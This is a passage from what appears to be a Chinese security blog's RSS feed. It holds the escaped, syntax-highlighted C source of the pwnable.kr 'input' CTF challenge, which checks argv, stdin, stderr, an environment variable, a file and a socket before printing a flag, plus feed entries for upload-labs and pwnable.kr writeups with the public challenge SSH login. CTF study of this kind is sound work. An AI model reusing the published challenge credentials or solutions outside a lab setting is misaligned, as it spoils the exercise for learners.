&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;[]){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Welcome to pwnable.kr&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Let&amp;#39;s see if you know how to give input to program&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Just give me correct inputs then you will get the flag :)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="c1"&gt;// argv
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;B&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x20\x0a\x0d&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Stage 1 clear!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="c1"&gt;// stdio
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x00\x0a\x00\xff&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x00\x0a\x02\xff&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Stage 2 clear!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="c1"&gt;// env
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\xca\xfe\xba\xbe&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\xde\xad\xbe\xef&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Stage 3 clear!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="c1"&gt;// file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x0a&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;r&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x00&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Stage 4 clear!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="c1"&gt;// network
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr_in&lt;/span&gt; &lt;span class="n"&gt;saddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;caddr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;sd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;socket error, tell admin&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;saddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_family&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;saddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;s_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;INADDR_ANY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;saddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;htons&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;C&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;saddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;saddr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;bind error, use another port&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr_in&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;cd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;caddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;socklen_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;accept error, tell admin&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\xde\xad\xbe\xef&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Stage 5 clear!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="c1"&gt;// here&amp;#39;s your flag
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/bin/cat flag&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;很多条件需要满足，那么一个一个来解决。&lt;/p&gt;</description></item><item><title>upload-labs writeup</title><link>https://saucer-man.com/information_security/96.html</link><pubDate>Fri, 22 Feb 2019 05:05:00 +0000</pubDate><guid>https://saucer-man.com/information_security/96.html</guid><description>&lt;p&gt;upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。github地址：https://github.com/c0ny1/upload-labs&lt;/p&gt;</description></item><item><title>pwnable.kr前六题wp</title><link>https://saucer-man.com/information_security/95.html</link><pubDate>Tue, 19 Feb 2019 02:52:00 +0000</pubDate><guid>https://saucer-man.com/information_security/95.html</guid><description>&lt;h2 id="0x01-fd"&gt;0x01 fd&lt;/h2&gt;
&lt;p&gt;根据题目&lt;code&gt;ssh fd@pwnable.kr -p2222 (pw:guest)&lt;/code&gt;, ssh登录目标服务器。
